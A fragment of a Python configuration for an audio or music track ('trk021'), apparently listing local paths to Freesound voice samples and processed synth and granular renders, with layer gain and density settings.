'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0018.338163.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0010.947234.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0017.838186.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0016.015079.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0000.000000.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0003.891859.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0010.324308.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0028.424717.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0023.922245.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0012.065057.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0007.041973.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0021.898526.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0001.742268.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0022.419592.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0027.708435.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0029.077279.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0016.750204.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0005.346440.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0005.937642.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0024.497007.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0006.520000.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0011.374150.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0001.404399.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0029.562132.wav',
'/home/x75/Downloads/freesound/trk021/572968__sieuamthanh__tieng-cuoi-nu-6-comp/572968__sieuamthanh__tieng-cuoi-nu-6-comp_0000.304444.wav',
'/home/x75/Downloads/freesound/trk021/572968__sieuamthanh__tieng-cuoi-nu-6-comp/572968__sieuamthanh__tieng-cuoi-nu-6-comp_0000.125805.wav',
'/home/x75/Downloads/freesound/trk021/572968__sieuamthanh__tieng-cuoi-nu-6-comp/572968__sieuamthanh__tieng-cuoi-nu-6-comp_0000.462834.wav',
'/home/x75/Downloads/freesound/trk021/572968__sieuamthanh__tieng-cuoi-nu-6-comp/572968__sieuamthanh__tieng-cuoi-nu-6-comp_0000.736327.wav',
'/home/x75/Downloads/freesound/trk021/572968__sieuamthanh__tieng-cuoi-nu-6-comp/572968__sieuamthanh__tieng-cuoi-nu-6-comp_0000.672585.wav',
'/home/x75/Downloads/freesound/trk021/572968__sieuamthanh__tieng-cuoi-nu-6-comp/572968__sieuamthanh__tieng-cuoi-nu-6-comp_0000.104150.wav',
'/home/x75/Downloads/freesound/trk021/572968__sieuamthanh__tieng-cuoi-nu-6-comp/572968__sieuamthanh__tieng-cuoi-nu-6-comp_0000.201202.wav',
'/home/x75/Downloads/freesound/trk021/572968__sieuamthanh__tieng-cuoi-nu-6-comp/572968__sieuamthanh__tieng-cuoi-nu-6-comp_0000.000000.wav',
],
},
# trk021 main / raw
'proc': {
'gain_max': 0,
'gain_min': -18,
'numlayer': 6,
'density': 0.8,
'files': [
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-084.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-001.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-064.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-114.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-045.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-099.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-106.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-065.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-050.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-104.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-071.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-014.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-024.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-054.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-102.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-118.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-078.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-021.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-080.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-064.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-005.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-056.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-103.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-062.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-093.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-046.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-042.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-110.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-037.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-089.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-019.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-052.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-058.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-010.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-050.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-005.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-011.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-040.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-112.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-104.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-121.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-013.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-006.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-068.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-123.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-087.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-008.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-059.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-045.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-019.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-024.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-019.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-111.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-077.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-107.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-001.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-006.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-029.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-009.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-107.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-028.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-032.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-012.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-042.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-103.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-060.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-090.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-076.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-021.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-092.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-010.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-099.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-003.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-022.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-013.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-044.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-041.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-120.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-113.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-116.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-055.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-115.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-087.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-070.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-062.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-089.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-084.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-063.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-106.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-002.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-057.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-109.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-102.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-036.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-096.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-098.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-028.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-094.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-079.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-034.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-015.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-083.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-101.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-120.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-025.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-108.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-025.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-103.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-036.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-095.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-086.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-049.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-022.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-065.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-100.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-055.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-051.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-071.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-066.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-027.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-061.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-039.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-095.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-074.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-082.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-122.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-043.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-029.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-086.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-124.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-059.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-111.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-023.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-116.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-080.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-004.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-092.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-049.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-091.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-068.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-011.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-023.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-008.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-030.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-017.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-093.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-122.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-072.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-069.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-003.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-057.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-047.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-007.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-090.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-113.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-110.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-034.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-121.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-074.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-047.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-057.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-067.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-033.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-018.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-051.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-091.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-016.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-100.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-016.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-124.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-030.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-054.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-077.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-012.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-086.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-081.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-044.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-114.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-048.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-053.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-082.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-046.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-004.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-109.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-111.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-094.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-035.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-018.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-085.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-052.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-026.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-056.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-033.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-039.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-105.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-043.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-088.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-112.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-066.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-041.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-037.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-119.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-078.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-079.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-085.wav',
